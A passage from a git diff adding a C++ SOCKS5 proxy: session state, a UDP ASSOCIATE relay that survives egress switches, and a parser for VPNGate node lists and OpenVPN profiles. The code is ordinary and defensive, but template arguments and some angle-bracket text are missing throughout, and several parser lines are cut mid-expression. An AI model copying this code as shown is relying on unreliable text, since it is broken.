SwitchConfig::retry_zero_progress + bool rehome_udp = true; // SwitchConfig::rehome_udp +}; +using SessionOptionsPtr = std::shared_ptr; + +// The client socket is bound to a Strand *as its type*, not merely handed one +// per operation. Accepting straight into `asio::make_strand(io)` means every +// completion on it is already serialised, so nothing in the relay needs +// bind_executor and no call site can forget to. +using ClientSocket = asio::basic_stream_socket; + +enum class SessionState { + Handshake, // greeting / method selection + Auth, // RFC 1929 exchange + Request, // waiting for the CONNECT/BIND/UDP request + Connecting, // dialling through the egress + Established, // TCP relay running + Udp, // UDP association live, control connection parked + Closed, +}; +const char *session_state_name(SessionState s); + +class Session : public std::enable_shared_from_this { + public: + using CloseHandler = std::function; + + static std::shared_ptr create(uint64_t id, ClientSocket sock, + SessionOptionsPtr opts, + const Authenticator *auth, + egress::EgressPtr egress, + CloseHandler on_closed); + ~Session(); + + void start(); + + // Safe from any thread. `why` must be a string literal: it is captured by + // pointer and logged after the post. + void force_close(const char *why); + + // Offers a move onto `fresh`, but only if this session is still on `from` and + // is genuinely re-homeable. Safe from any thread; does nothing if not + // eligible. See the header comment. + void try_rehome(const egress::EgressPtr &from, const egress::EgressPtr &fresh); + + // Closes only if this session is still using `which`. This is the "otherwise + // drop them" half of the requirement, used when a drain window expires. + // Safe from any thread. + void close_if_on(const egress::EgressPtr &which, const char *why); + + // Snapshot for the admin endpoint. Safe from any thread. + struct Info { + uint64_t id = 0; + std::string client; + std::string target; + std::string command; + std::string state; + std::string egress_label; + uint64_t bytes_up = 0; + uint64_t bytes_down = 0; + int64_t age_ms = 0; + }; + Info info() const; + + uint64_t id() const { return id_; } + + private: + enum class Phase { Handshake, Connect, Idle }; + + Session(uint64_t id, ClientSocket sock, SessionOptionsPtr opts, + const Authenticator *auth, egress::EgressPtr egress, + CloseHandler on_closed); + + // --- handshake --- + void read_more(std::function retry); + void step_greeting(); + void step_userpass(); + void step_request(); + void dispatch(const Request &req); + void reply_and_close(Reply rep, const char *why); + void send_reply(Reply rep, const Endpoint &bound, std::function then); + + // --- connect / relay --- + void do_connect(const Endpoint &target); + void begin_relay(); + void start_up_read(); + void start_up_write(size_t n); + void start_down_read(); + void start_down_write(size_t n); + void half_close_up(); + void half_close_down(); + void maybe_finish(); + + // --- udp --- + void do_udp_associate(const Endpoint &expect); + void park_control_connection(); + + // --- rehome --- + void do_rehome(egress::EgressPtr fresh); + void rehome_ready(); + void rehome_connect(); + + // --- timers / teardown --- + void set_phase(Phase p); + void touch(); + void arm_timer(); + void on_timer(); + void finish(const char *why); + + void set_state(SessionState s); + + const uint64_t id_; + ClientSocket client_; + Strand strand_; + asio::steady_timer timer_; + SessionOptionsPtr opts_; + const Authenticator *auth_; + CloseHandler on_closed_; + + // Strand-only state. + egress::EgressPtr egress_; + egress::EgressPtr new_egress_; + netstack::TcpStreamPtr remote_; + UdpAssociationPtr assoc_; + std::vector up_buf_, down_buf_; + size_t hs_len_ = 0; // valid bytes at the front of up_buf_ during handshake + bool authed_ = false; + bool up_done_ = false, down_done_ = false; + bool up_writing_ = false, down_writing_ = false; + bool closed_ = false; + bool rehoming_ = false, rehome_abort_ = false; + size_t up_pending_ = 0; // bytes read from the client during a rehome + int active_ = 0; // outstanding relay operations + uint64_t gen_ = 0; // invalidates callbacks across a rehome + Phase phase_ = Phase::Handshake; + Clock::time_point deadline_{}; + + // Snapshot state, read by info() from other threads. The state itself is an + // atomic rather than mutex-guarded because the strand reads it on every + // relayed buffer (touch(), on_timer()) and taking a lock there would put a + // contended mutex on the hot path for the benefit of one admin endpoint. + std::atomic state_{SessionState::Handshake}; + mutable std::mutex mu_; + std::string client_str_; + std::string target_str_; + std::string command_str_ = "-"; + std::string egress_label_; + std::atomic up_bytes_{0}, down_bytes_{0}; + const Clock::time_point created_; + Endpoint target_; +}; + +using SessionPtr = std::shared_ptr; + +} // namespace ovg::socks5 diff --git a/src/socks5/udp_relay.cpp b/src/socks5/udp_relay.cpp new file mode 100644 index 0000000..0fa96aa --- /dev/null +++ b/src/socks5/udp_relay.cpp @@ -0,0 +1,436 @@ +#include "socks5/udp_relay.h" + +#include "common/error.h" +#include "common/logging.h" +#include "common/metrics.h" +#include "socks5/protocol.h" + +namespace ovg::socks5 { +namespace { + +constexpr const char *kMod = "socks5.udp"; + +// A datagram socket that cannot keep up drops, it does not grow. These bound +// the memory a single association can pin while a send is in flight. +constexpr size_t kMaxQueuedDatagrams = 64; +constexpr size_t kMaxDatagram = 65535; +// Per-association resolver limits. A client that sends to a thousand distinct +// names should not get a thousand outstanding lookups. +constexpr size_t kMaxResolvingNames = 8; +constexpr size_t kMaxQueuedPerName = 4; +constexpr size_t kMaxResolvedCache = 64; + +metrics::Counter *m_frag() { + static auto *c = metrics::counter( + "ovg_socks5_udp_frag_dropped_total", + "UDP datagrams dropped because FRAG != 0 (not supported)"); + return c; +} +metrics::Counter *m_bad() { + static auto *c = metrics::counter("ovg_socks5_udp_malformed_total", + "UDP datagrams with an unparsable header"); + return c; +} +metrics::Counter *m_spoof() { + static auto *c = metrics::counter( + "ovg_socks5_udp_unexpected_source_total", + "UDP datagrams from an address that is not the associated client"); + return c; +} +metrics::Counter *m_overflow() { + static auto *c = metrics::counter("ovg_socks5_udp_queue_dropped_total", + "UDP datagrams dropped by a full send queue"); + return c; +} +metrics::Counter *m_up() { + static auto *c = metrics::counter("ovg_socks5_udp_bytes_up_total", + "UDP payload bytes client -> egress"); + return c; +} +metrics::Counter *m_down() { + static auto *c = metrics::counter("ovg_socks5_udp_bytes_down_total", + "UDP payload bytes egress -> client"); + return c; +} +metrics::Counter *m_rehome() { + static auto *c = + metrics::counter("ovg_socks5_udp_rehomed_total", + "UDP associations moved to a new egress in place"); + return c; +} + +Endpoint to_endpoint(const asio::ip::udp::endpoint &ep) { + if (ep.address().is_v4()) { + const auto b = ep.address().to_v4().to_bytes(); + return Endpoint(IpAddress::from_bytes_v4(b.data()), ep.port()); + } + const auto b = ep.address().to_v6().to_bytes(); + return Endpoint(IpAddress::from_bytes_v6(b.data()), ep.port()); +} + +} // namespace + +std::shared_ptr UdpAssociation::create( + Strand strand, const Socks5Config &cfg, egress::EgressPtr egress) { + return std::shared_ptr( + new UdpAssociation(strand, cfg, std::move(egress))); +} + +UdpAssociation::UdpAssociation(Strand strand, const Socks5Config &cfg, + egress::EgressPtr egress) + : strand_(strand), + cfg_(cfg), + egress_(std::move(egress)), + client_sock_(strand), + client_buf_(kMaxDatagram), + out_buf_(kMaxDatagram), + last_activity_(Clock::now()) {} + +UdpAssociation::~UdpAssociation() { close(); } + +void UdpAssociation::async_open(const asio::ip::address &bind_addr, + const asio::ip::address &client_addr, + const Endpoint &expect, ReadyHandler h) { + client_addr_ = client_addr; + if (!expect.is_domain() && expect.address().valid() && expect.port() != 0) { + expect_port_ = expect.port(); + } + + std::error_code ec; + client_sock_.open(bind_addr.is_v4() ? asio::ip::udp::v4() : asio::ip::udp::v6(), + ec); + if (!ec) client_sock_.bind(asio::ip::udp::endpoint(bind_addr, 0), ec); + if (ec) { + LOG_WARN(kMod, "cannot bind client-facing UDP socket on {}: {}", + bind_addr.to_string(), ec.message()); + h(ec); + return; + } + + const auto local = client_sock_.local_endpoint(ec); + if (ec) { + h(ec); + return; + } + + // The address we bound is not necessarily the address the client can reach + // (NAT, containers, 0.0.0.0). An operator override wins; otherwise the bound + // address is the best guess we have. + advertised_ = to_endpoint(local); + if (!cfg_.advertise_address.empty()) { + if (auto ip = IpAddress::parse(cfg_.advertise_address)) { + advertised_ = Endpoint(*ip, local.port()); + } else { + advertised_ = Endpoint(cfg_.advertise_address, local.port()); + } + } + + auto self = shared_from_this(); + const uint64_t gen = gen_; + egress_->async_bind_udp( + strand_, [self, gen, h = std::move(h)](const std::error_code &bec, + netstack::UdpSocketPtr sock) { + if (self->closed_ || gen != self->gen_) { + if (sock) sock->close(); + return; + } + if (bec) { + LOG_WARN(kMod, "egress refused a UDP socket: {}", bec.message()); + h(bec); + return; + } + self->out_ = std::move(sock); + self->start_client_recv(); + self->start_out_recv(gen); + h({}); + }); +} + +void UdpAssociation::close() { + if (closed_) return; + closed_ = true; + ++gen_; + std::error_code ignored; + client_sock_.close(ignored); + if (out_) { + out_->close(); + out_.reset(); + } + to_out_.clear(); + to_client_.clear(); + resolving_.clear(); +} + +void UdpAssociation::rehome(egress::EgressPtr fresh) { + if (closed_ || !fresh) return; + if (fresh == egress_) return; + + // Bump first: every in-flight callback from the old socket is now stale and + // will drop itself instead of touching the new one. + const uint64_t gen = ++gen_; + if (out_) { + out_->close(); + out_.reset(); + } + out_sending_ = false; + to_out_.clear(); // datagrams queued for a socket that no longer exists + egress_ = std::move(fresh); + + auto self = shared_from_this(); + egress_->async_bind_udp( + strand_, [self, gen](const std::error_code &ec, + netstack::UdpSocketPtr sock) { + if (self->closed_ || gen != self->gen_) { + if (sock) sock->close(); + return; + } + if (ec) { + // Nothing to fall back to: the old socket is already gone. The + // association stops carrying traffic and the idle timer reaps it. + LOG_WARN(kMod, "rehome failed, association is now dead: {}", + ec.message()); + self->close(); + return; + } + self->out_ = std::move(sock); + // Addresses resolved through the old tunnel may not be the right + // answers through the new one, and the reverse map would then lie in + // reply headers. + self->resolved_.clear(); + self->rev_names_.clear(); + self->start_out_recv(gen); + m_rehome()->inc(); + LOG_INFO(kMod, "association rehomed onto {}", self->egress_->label()); + }); +} + +// --------------------------------------------------------------------------- +// Client -> egress +// --------------------------------------------------------------------------- + +void UdpAssociation::start_client_recv() { + if (closed_) return; + auto self = shared_from_this(); + client_sock_.async_receive_from( + asio::buffer(client_buf_), recv_from_, + asio::bind_executor(strand_, [self](const std::error_code &ec, size_t n) { + if (self->closed_) return; + if (ec) { + if (ec != asio::error::operation_aborted) { + LOG_DEBUG(kMod, "client-facing recv failed: {}", ec.message()); + } + // A UDP socket can report a transient ICMP-derived error; keep + // listening rather than killing the association over one datagram. + if (ec == asio::error::operation_aborted) return; + self->start_client_recv(); + return; + } + self->on_client_datagram(n); + self->start_client_recv(); + })); +} + +void UdpAssociation::on_client_datagram(size_t n) { + // Anti-spoofing, such as it is: only the host that opened the control + // connection may use this association, and only from one port. + if (recv_from_.address() != client_addr_) { + m_spoof()->inc(); + return; + } + if (client_latched_) { + if (recv_from_ != client_ep_) { + m_spoof()->inc(); + return; + } + } else { + if (expect_port_ != 0 && recv_from_.port() != expect_port_) { + m_spoof()->inc(); + return; + } + client_ep_ = recv_from_; + client_latched_ = true; + LOG_DEBUG(kMod, "association latched to client {}:{}", + client_ep_.address().to_string(), client_ep_.port()); + } + + UdpHeader hdr; + if (!decode_udp_header(client_buf_.data(), n, &hdr)) { + m_bad()->inc(); + return; + } + if (hdr.frag != 0) { + // Loud on purpose: FEASIBILITY §5.1 promises this is never silent. + m_frag()->inc(); + LOG_WARN(kMod, "dropping fragmented datagram (FRAG={}), not supported", + static_cast(hdr.frag)); + return; + } + + last_activity_ = Clock::now(); + const uint8_t *payload = client_buf_.data() + hdr.header_len; + const size_t plen = n - hdr.header_len; + + if (hdr.target.is_domain()) { + resolve_and_forward(hdr.target, payload, plen); + return; + } + forward_out(hdr.target, payload, plen); +} + +void UdpAssociation::resolve_and_forward(const Endpoint &target, + const uint8_t *data, size_t len) { + const std::string &name = target.domain(); + + auto cached = resolved_.find(name); + if (cached != resolved_.end()) { + forward_out(Endpoint(cached->second, target.port()), data, len); + return; + } + + auto it = resolving_.find(name); + if (it == resolving_.end()) { + if (resolving_.size() >= kMaxResolvingNames) { + m_overflow()->inc(); + return; + } + it = resolving_.emplace(name, PendingName{}).first; + } + it->second.port = target.port(); + if (it->second.datagrams.size() < kMaxQueuedPerName) { + it->second.datagrams.emplace_back(data, data + len); + } else { + m_overflow()->inc(); + } + if (it->second.in_flight) return; + it->second.in_flight = true; + + auto self = shared_from_this(); + const uint64_t gen = gen_; + egress_->async_resolve( + strand_, name, + [self, gen, name](const std::error_code &ec, std::vector ips) { + if (self->closed_ || gen != self->gen_) return; + auto it = self->resolving_.find(name); + if (it == self->resolving_.end()) return; + auto pending = std::move(it->second); + self->resolving_.erase(it); + + if (ec || ips.empty()) { + LOG_DEBUG(kMod, "udp resolve of {} failed: {}", name, + ec ? ec.message() : std::string("no addresses")); + return; // datagrams are dropped, which is what UDP does + } + if (self->resolved_.size() < kMaxResolvedCache) { + self->resolved_.emplace(name, ips.front()); + self->rev_names_.emplace(ips.front().to_string(), name); + } + const Endpoint dst(ips.front(), pending.port); + for (const auto &d : pending.datagrams) { + self->forward_out(dst, d.data(), d.size()); + } + }); +} + +void UdpAssociation::forward_out(const Endpoint &to, const uint8_t *data, + size_t len) { + if (closed_ || !out_) return; + if (to_out_.size() >= kMaxQueuedDatagrams) { + m_overflow()->inc(); + return; + } + to_out_.push_back(Pending{std::vector(data, data + len), to}); + pump_out(); +} + +void UdpAssociation::pump_out() { + if (out_sending_ || to_out_.empty() || !out_ || closed_) return; + out_sending_ = true; + + auto self = shared_from_this(); + const uint64_t gen = gen_; + const auto &front = to_out_.front(); + out_->async_send_to( + asio::buffer(front.data), front.to, + [self, gen](const std::error_code &ec, size_t n) { + if (self->closed_ || gen != self->gen_) return; + self->out_sending_ = false; + if (!self->to_out_.empty()) self->to_out_.pop_front(); + if (ec) { + LOG_DEBUG(kMod, "egress send failed: {}", ec.message()); + } else { + self->up_bytes_ += n; + m_up()->inc(n); + } + self->pump_out(); + }); +} + +// --------------------------------------------------------------------------- +// Egress -> client +// --------------------------------------------------------------------------- + +void UdpAssociation::start_out_recv(uint64_t gen) { + if (closed_ || !out_ || gen != gen_) return; + auto self = shared_from_this(); + out_->async_receive_from( + asio::buffer(out_buf_), + [self, gen](const std::error_code &ec, size_t n, const Endpoint &from) { + if (self->closed_ || gen != self->gen_) return; + if (ec) { + if (ec != Error::Cancelled) { + LOG_DEBUG(kMod, "egress recv failed: {}", ec.message()); + } + return; // the socket is finished; rehome or close will follow + } + self->on_out_datagram(n, from); + self->start_out_recv(gen); + }); +} + +void UdpAssociation::on_out_datagram(size_t n, const Endpoint &from) { + if (!client_latched_) return; // nowhere to send it yet + last_activity_ = Clock::now(); + queue_to_client(from, out_buf_.data(), n); +} + +void UdpAssociation::queue_to_client(const Endpoint &from, const uint8_t *data, + size_t len) { + if (to_client_.size() >= kMaxQueuedDatagrams) { + m_overflow()->inc(); + return; + } + + // If the client addressed a name, echo the name back. Clients that key their + // reply matching on what they sent (resolvers do) would otherwise discard it. + Endpoint reported = from; + if (!from.is_domain() && from.address().valid()) { + auto it = rev_names_.find(from.address().to_string()); + if (it != rev_names_.end()) reported = Endpoint(it->second, from.port()); + } + + to_client_.push_back( + Pending{encode_udp_datagram(reported, data, len), reported}); + down_bytes_ += len; + m_down()->inc(len); + pump_client(); +} + +void UdpAssociation::pump_client() { + if (client_sending_ || to_client_.empty() || closed_) return; + client_sending_ = true; + + auto self = shared_from_this(); + client_sock_.async_send_to( + asio::buffer(to_client_.front().data), client_ep_, + asio::bind_executor(strand_, [self](const std::error_code &ec, size_t) { + if (self->closed_) return; + self->client_sending_ = false; + if (!self->to_client_.empty()) self->to_client_.pop_front(); + if (ec && ec != asio::error::operation_aborted) { + LOG_DEBUG(kMod, "client send failed: {}", ec.message()); + } + self->pump_client(); + })); +} + +} // namespace ovg::socks5 diff --git a/src/socks5/udp_relay.h b/src/socks5/udp_relay.h new file mode 100644 index 0000000..4a91bfb --- /dev/null +++ b/src/socks5/udp_relay.h @@ -0,0 +1,161 @@ +// SOCKS5 UDP ASSOCIATE (RFC 1928 §7). +// +// Answering the question the requirements asked directly: **UDP ASSOCIATE is +// supported.** What is not supported is fragmentation -- a datagram with +// FRAG != 0 is dropped and counted, never silently ignored and never +// reassembled. docs/FEASIBILITY.md §5.1 has the reasoning: reassembly needs +// cross-datagram state, is a known amplification vector, and no client in +// practice emits it. +// +// --------------------------------------------------------------------------- +// Shape +// --------------------------------------------------------------------------- +// An association owns two sockets: +// +// client_sock_ a host UDP socket the client sends to. Its address is what +// goes in the ASSOCIATE reply's BND field, which is why +// `advertise_address` exists -- behind NAT or in a container, +// the address we bound is not the address the client can reach. +// out_ a datagram socket *on the egress*, i.e. inside the tunnel. +// +// and moves datagrams between them, adding or stripping the RFC 1928 §7 header. +// +// --------------------------------------------------------------------------- +// Why this survives a node switch when TCP does not +// --------------------------------------------------------------------------- +// UDP has no sequence state to preserve, so `rehome()` closes only `out_` and +// opens a fresh one on the new egress. `client_sock_` -- the thing the client +// has in its socket table -- never changes: same address, same port. The client +// observes nothing except a changed exit IP, and a protocol built for that +// (QUIC, RFC 9000 §9) carries on through it. docs/FEASIBILITY.md §5.3. +// +// --------------------------------------------------------------------------- +// Lifetime +// --------------------------------------------------------------------------- +// RFC 1928 ties the association to its TCP control connection: when that closes, +// this must go. The owning Session enforces that by simply destroying us. An +// independent idle timer exists as well, because a client that holds the control +// connection open forever and stops sending would otherwise pin a tunnel PCB. +// +// Threading: every method must be called on the owning session's strand, and +// every completion runs there too. +#pragma once + +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "common/endpoint.h" +#include "common/strand_deleter.h" +#include "egress/egress.h" + +namespace ovg::socks5 { + +using Clock = std::chrono::steady_clock; + +class UdpAssociation : public std::enable_shared_from_this { + public: + using ReadyHandler = std::function; + + static std::shared_ptr create(Strand strand, + const Socks5Config &cfg, + egress::EgressPtr egress); + ~UdpAssociation(); + + // Binds the client-facing socket on `bind_addr` (port 0) and opens the egress + // socket. `expect` is the DST.ADDR/DST.PORT the client put in its ASSOCIATE + // request: a zero address or port means "I do not know yet", in which case we + // latch whatever the first datagram comes from -- restricted to the control + // connection's peer address, which is the only anti-spoofing check available + // without asking the client to tell us the truth about itself. + void async_open(const asio::ip::address &bind_addr, + const asio::ip::address &client_addr, const Endpoint &expect, + ReadyHandler h); + + // Address to put in the reply. Empty until async_open succeeds. + Endpoint advertised() const { return advertised_; } + + void close(); + + // §5.4: swap the egress-side socket, keep the client-facing one. + void rehome(egress::EgressPtr fresh); + + uint64_t bytes_up() const { return up_bytes_; } + uint64_t bytes_down() const { return down_bytes_; } + Clock::time_point last_activity() const { return last_activity_; } + const egress::EgressPtr &egress() const { return egress_; } + + private: + struct Pending { + std::vector data; + Endpoint to; + }; + + UdpAssociation(Strand strand, const Socks5Config &cfg, + egress::EgressPtr egress); + + void start_client_recv(); + void on_client_datagram(size_t n); + void start_out_recv(uint64_t gen); + void on_out_datagram(size_t n, const Endpoint &from); + + void forward_out(const Endpoint &to, const uint8_t *data, size_t len); + void pump_out(); + void queue_to_client(const Endpoint &from, const uint8_t *data, size_t len); + void pump_client(); + + void resolve_and_forward(const Endpoint &target, const uint8_t *data, + size_t len); + + Strand strand_; + Socks5Config cfg_; + egress::EgressPtr egress_; + asio::ip::udp::socket client_sock_; + netstack::UdpSocketPtr out_; + uint64_t gen_ = 0; // invalidates callbacks from a superseded egress socket + bool closed_ = false; + + Endpoint advertised_; + asio::ip::address client_addr_; // from the control connection + asio::ip::udp::endpoint client_ep_; // latched destination for replies + bool client_latched_ = false; + uint16_t expect_port_ = 0; // non-zero: the client told us its port up front + + asio::ip::udp::endpoint recv_from_; + std::vector client_buf_; + std::vector out_buf_; + + std::deque to_out_; + std::deque to_client_; + bool out_sending_ = false; + bool client_sending_ = false; + + // Name resolution, per association. Datagrams for an unresolved name wait + // here rather than being dropped: for DNS-over-SOCKS the first datagram is + // usually the only one, so dropping it would look like a total failure. + struct PendingName { + std::vector> datagrams; // full SOCKS5 UDP payloads + uint16_t port = 0; + bool in_flight = false; + }; + std::unordered_map resolving_; + std::unordered_map resolved_; + // Reply rewriting: a client that sent to a name expects the reply to say the + // name, not the address we happened to pick. + std::unordered_map rev_names_; + + uint64_t up_bytes_ = 0, down_bytes_ = 0; + Clock::time_point last_activity_{}; +}; + +using UdpAssociationPtr = std::shared_ptr; + +} // namespace ovg::socks5 diff --git a/src/vpngate/csv_parser.cpp b/src/vpngate/csv_parser.cpp new file mode 100644 index 0000000..4b60d5b --- /dev/null +++ b/src/vpngate/csv_parser.cpp @@ -0,0 +1,358 @@ +#include "vpngate/csv_parser.h" + +#include +#include +#include +#include + +#include "common/logging.h" + +namespace ovg::vpngate { +namespace { + +constexpr const char *kMod = "vpngate"; + +// Column indices in the documented header order. +enum Col { + kHostName = 0, + kIp = 1, + kScore = 2, + kPing = 3, + kSpeed = 4, + kCountryLong = 5, + kCountryShort = 6, + kNumVpnSessions = 7, + kUptime = 8, + kTotalUsers = 9, + kTotalTraffic = 10, + kLogType = 11, + kOperator = 12, + kMessage = 13, + kConfigBase64 = 14, + kColumnCount = 15, +}; + +std::string_view trim(std::string_view s) { + while (!s.empty() && std::isspace(static_cast(s.front()))) + s.remove_prefix(1); + while (!s.empty() && std::isspace(static_cast(s.back()))) + s.remove_suffix(1); + return s; +} + +std::string lower(std::string_view s) { + std::string r(s); + for (char &c : r) c = static_cast(std::tolower(static_cast(c))); + return r; +} + +// Tolerant numeric parse: empty or garbage yields the fallback rather than +// failing the row. VPNGate leaves Ping/Speed empty for nodes it hasn't measured. +template +T to_number(std::string_view s, T fallback) { + s = trim(s); + if (s.empty()) return fallback; + T v{}; + const auto r = std::from_chars(s.data(), s.data() + s.size(), v); + if (r.ec != std::errc{}) return fallback; + return v; +} + +} // namespace + +std::string ParseStats::summary() const { + return "rows=" + std::to_string(data_rows) + + " accepted=" + std::to_string(accepted) + + " skipped(columns=" + std::to_string(skipped_columns) + + " base64=" + std::to_string(skipped_base64) + + " profile=" + std::to_string(skipped_profile) + + " fields=" + std::to_string(skipped_fields) + ")"; +} + +// RFC 4180-ish splitter. Handles quoted fields with doubled quotes, and +// tolerates a stray quote in the middle of an unquoted field (volunteers do +// put quotes in free-text columns). +std::vector split_csv_line(std::string_view line) { + std::vector out; + std::string cur; + cur.reserve(64); + bool in_quotes = false; + + for (size_t i = 0; i < line.size(); ++i) { + const char c = line[i]; + if (in_quotes) { + if (c == '"') { + if (i + 1 < line.size() && line[i + 1] == '"') { + cur += '"'; + ++i; + } else { + in_quotes = false; + } + } else { + cur += c; + } + continue; + } + if (c == '"' && cur.empty()) { + in_quotes = true; + } else if (c == ',') { + out.push_back(std::move(cur)); + cur.clear(); + } else if (c == '\r') { + // tolerate CRLF + } else { + cur += c; + } + } + out.push_back(std::move(cur)); + return out; +} + +bool base64_decode(std::string_view in, std::string *out) { + static constexpr int8_t kInvalid = -1; + static constexpr int8_t kSkip = -2; + + auto decode_char = [](unsigned char c) -> int8_t { + if (c >= 'A' && c <= 'Z') return static_cast(c - 'A'); + if (c >= 'a' && c <= 'z') return static_cast(c - 'a' + 26); + if (c >= '0' && c <= '9') return static_cast(c - '0' + 52); + if (c == '+') return 62; + if (c == '/') return 63; + if (c == '=') return kSkip; + if (c == '\n' || c == '\r' || c == ' ' || c == '\t') return kSkip; + return kInvalid; + }; + + out->clear(); + out->reserve(in.size() * 3 / 4 + 3); + + uint32_t acc = 0; + int bits = 0; + for (char ch : in) { + const int8_t v = decode_char(static_cast(ch)); + if (v == kInvalid) return false; + if (v == kSkip) continue; + acc = (acc << 6) | static_cast(v); + bits += 6; + if (bits >= 8) { + bits -= 8; + out->push_back(static_cast((acc >> bits) & 0xff)); + } + } + return true; +} + +std::vector extract_remotes(std::string_view profile) { + // Defaults that a "remote" line without its own values inherits, per + // OpenVPN's own semantics. + Proto default_proto = Proto::Udp; + uint16_t default_port = 1194; + + struct PendingRemote { + std::string host; + uint16_t port = 0; + bool has_port = false; + Proto proto = Proto::Udp; + bool has_proto = false; + }; + std::vector pending; + + // Inline blocks are payload, not directives. Two reasons to skip them: a + // block declares an alternative remote we never scored and + // never dial (the sanitizer strips those blocks outright, and the two must + // agree on what the node's remotes are), and a PEM body is arbitrary base64 + // that could begin a line with any word at all. + bool in_block = false; + std::string block_tag; + + size_t pos = 0; + while (pos <= profile.size()) { + const size_t nl = profile.find('\n', pos); + std::string_view line = + profile.substr(pos, nl == std::string_view::npos ? std::string_view::npos + : nl - pos); + pos = (nl == std::string_view::npos) ? profile.size() + 1 : nl + 1; + + line = trim(line); + + if (in_block) { + if (line.size() > 3 && line.rfind("' && + lower(line.substr(2, line.size() - 3)) == block_tag) { + in_block = false; + block_tag.clear(); + } + continue; + } + + if (line.empty() || line.front() == '#' || line.front() == ';') continue; + + if (line.front() == '<' && line.back() == '>' && line.rfind(" tok; + size_t i = 0; + while (i < line.size()) { + while (i < line.size() && std::isspace(static_cast(line[i]))) + ++i; + const size_t start = i; + while (i < line.size() && !std::isspace(static_cast(line[i]))) + ++i; + if (i > start) tok.push_back(line.substr(start, i - start)); + } + if (tok.empty()) continue; + + if (tok[0] == "proto" && tok.size() >= 2) { + // "tcp-client"/"tcp4"/"tcp" all mean TCP for our purposes. + default_proto = tok[1].rfind("tcp", 0) == 0 ? Proto::Tcp : Proto::Udp; + } else if (tok[0] == "port" && tok.size() >= 2) { + default_port = to_number(tok[1], default_port); + } else if (tok[0] == "remote" && tok.size() >= 2) { + PendingRemote r; + r.host = std::string(tok[1]); + if (tok.size() >= 3) { + const auto p = to_number(tok[2], 0); + if (p != 0) { + r.port = p; + r.has_port = true; + } + } + if (tok.size() >= 4) { + r.proto = tok[3].rfind("tcp", 0) == 0 ? Proto::Tcp : Proto::Udp; + r.has_proto = true; + } + pending.push_back(std::move(r)); + } + } + + // "proto"/"port" apply to every remote regardless of line order, so the + // defaults can only be resolved after the whole profile has been read. + std::vector out; + out.reserve(pending.size()); + for (const auto &p : pending) { + Remote r; + r.host = p.host; + r.port = p.has_port ? p.port : default_port; + r.proto = p.has_proto ? p.proto : default_proto; + if (r.host.empty() || r.port == 0) continue; + out.push_back(std::move(r)); + } + return out; +} + +bool parse_node_list(std::string_view body, ParseResult *out, std::string *err) { + out->nodes.clear(); + out->stats = ParseStats{}; + + if (body.empty()) { + if (err) *err = "empty response body"; + return false; + } + + // Guard against getting an HTML error/captcha page instead of the CSV. This + // happens in practice when the API rate-limits or a portal intercepts. + const auto head = body.substr(0, std::min(body.size(), 512)); + if (head.find("stats.data_rows++; + + auto fields = split_csv_line(line); + if (fields.size() < kColumnCount) { + out->stats.skipped_columns++; + continue; + } + + Node n; + n.host_name = std::string(trim(fields[kHostName])); + n.ip = std::string(trim(fields[kIp])); + if (n.host_name.empty() || n.ip.empty()) { + out->stats.skipped_fields++; + continue; + } + + n.country_long = std::string(trim(fields[kCountryLong])); + n.country_short = std::string(trim(fields[kCountryShort])); + n.log_type = std::string(trim(fields[kLogType])); + n.operator_name = std::string(trim(fields[kOperator])); + n.message = std::string(trim(fields[kMessage])); + + n.api.score = to_number(fields[kScore], 0); + n.api.ping_ms = to_number(fields[kPing], -1); + n.api.speed_bps = to_number(fields[kSpeed], 0); + n.api.num_sessions = to_number(fields[kNumVpnSessions], 0); + n.api.uptime_ms = to_number(fields[kUptime], 0); + n.api.total_users = to_number(fields[kTotalUsers], 0); + n.api.total_traffic = to_number(fields[kTotalTraffic], 0); + + if (!base64_decode(fields[kConfigBase64], &n.profile) || n.profile.empty()) { + out->stats.skipped_base64++; + continue; + } + + n.remotes = extract_remotes(n.profile); + if (n.remotes.empty()) { + out->stats.skipped_profile++; + continue; + } + + out->stats.accepted++; + out->nodes.push_back(std::move(n)); + } + + if (out->nodes.empty()) { + if (err) *err = "no usable nodes in response (" + out->stats.summary() + ")"; + return false; + } + + LOG_INFO(kMod, "parsed node list: {}", out->stats.summary()); + return true; +} + +bool Node::has_udp() const { + return std::any_of(remotes.begin(), remotes.end(), + [](const Remote &r) { return r.proto == Proto::Udp; }); +} + +bool Node::has_tcp() const { + return std::any_of(remotes.begin(), remotes.end(), + [](const Remote &r) { return r.proto == Proto::Tcp; }); +} + +const Remote *Node::pick_remote(bool prefer_udp) const { + if (remotes.empty()) return nullptr; + const Proto want = prefer_udp ? Proto::Udp : Proto::Tcp; + for (const auto &r : remotes) + if (r.proto == want) return &r; + return &remotes.front(); +} + +} // namespace ovg::vpngate diff --git a/src/vpngate/csv_parser.h b/src/vpngate/csv_parser.h new file mode 100644 index 0000000..b55f8a7 --- /dev/null +++ b/src/vpngate/csv_parser.h @@ -0,0 +1,58 @@ +// Parser for the VPNGate node list. +// +// The response looks like: +// +// *vpn_servers +// #HostName,IP,Score,Ping,Speed,CountryLong,CountryShort,NumVpnSessions,... +// public-vpn-113,219.100.37.100,3008408,10,287135107,Japan,JP,113,..., +// ... +// * +// +// Two properties drive the implementation: +// +// 1. Lines are long. The last column is the base64 of an entire .ovpn profile +// including inline CA/cert/key, so 10-14 KB per line is normal (measured: +// 13529 bytes). Nothing here may use a fixed-size line buffer. +// +// 2. Free-text columns (Operator, Message) come from volunteers and are not +// reliably escaped. A malformed row must be skipped and counted, never +// allowed to abort the whole parse -- one bad volunteer must not cost us +// the other 95 nodes. +#pragma once + +#include +#include +#include + +#include "vpngate/node.h" + +namespace ovg::vpngate { + +struct ParseStats { + size_t data_rows = 0; // rows that looked like data + size_t accepted = 0; // rows that produced a usable Node + size_t skipped_columns = 0; // too few columns + size_t skipped_base64 = 0; // profile failed to decode + size_t skipped_profile = 0; // decoded but had no usable "remote" + size_t skipped_fields = 0; // required field (hostname/ip) empty + + std::string summary() const; +}; + +struct ParseResult { + std::vector nodes; + ParseStats stats; +}; + +// Returns false only when the body is not a VPNGate response at all (e.g. an +// HTML error page). Individual bad rows are skipped and reported in stats. +bool parse_node_list(std::string_view body, ParseResult *out, std::string *err); + +// Exposed for testing. +std::vector split_csv_line(std::string_view line); +bool base64_decode(std::string_view in, std::string *out); +// Pulls "remote [proto]" / "proto

